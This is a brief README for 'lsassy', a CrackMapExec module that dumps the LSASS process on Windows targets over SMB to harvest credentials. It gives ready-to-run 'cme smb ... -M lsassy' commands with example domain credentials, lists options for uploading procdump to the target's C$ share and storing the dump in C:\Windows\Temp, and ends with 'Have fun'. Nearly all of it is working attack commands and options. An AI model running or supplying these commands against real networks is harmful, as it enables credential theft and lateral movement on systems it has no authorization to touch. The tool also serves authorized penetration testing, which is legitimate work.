What would you like to do?
lsassy module for CME


  • Copy in cme/modules
  • Reinstall CrackMapExec python install



cme smb -d adsec.local -u jsnow -p Winter_is_coming_\! -M lsassy

You can check available options using

cme smb -d adsec.local -u jsnow -p Winter_is_coming_\! -M lsassy --options
            TMP_DIR             Path where process dump should be saved on target system (default: C:\Windows\Temp\)
            SHARE               Share to upload procdump and dump lsass (default: C$)
            PROCDUMP_PATH       Path where procdump.exe is on your system (default: /tmp/)
            PROCDUMP_EXE_NAME   Name of the procdump executable (default: procdump.exe)

Options can be set using

cme smb dc01.adsec.local -d adsec.local -u jsnow -p Winter_is_coming_\! -M lsassy -o PROCDUMP_PATH='/home/pixis/Tools/' PROCDUMP_EXE_NAME='procdump.exe'

Have fun

Since lsassy is py3.6+ and CME is still py2, lsassy cannot be
imported. For this reason, connection information must be sent to lsassy
so it can create a new connection.
When CME is py3.6 compatible, CME connection object will be reused.
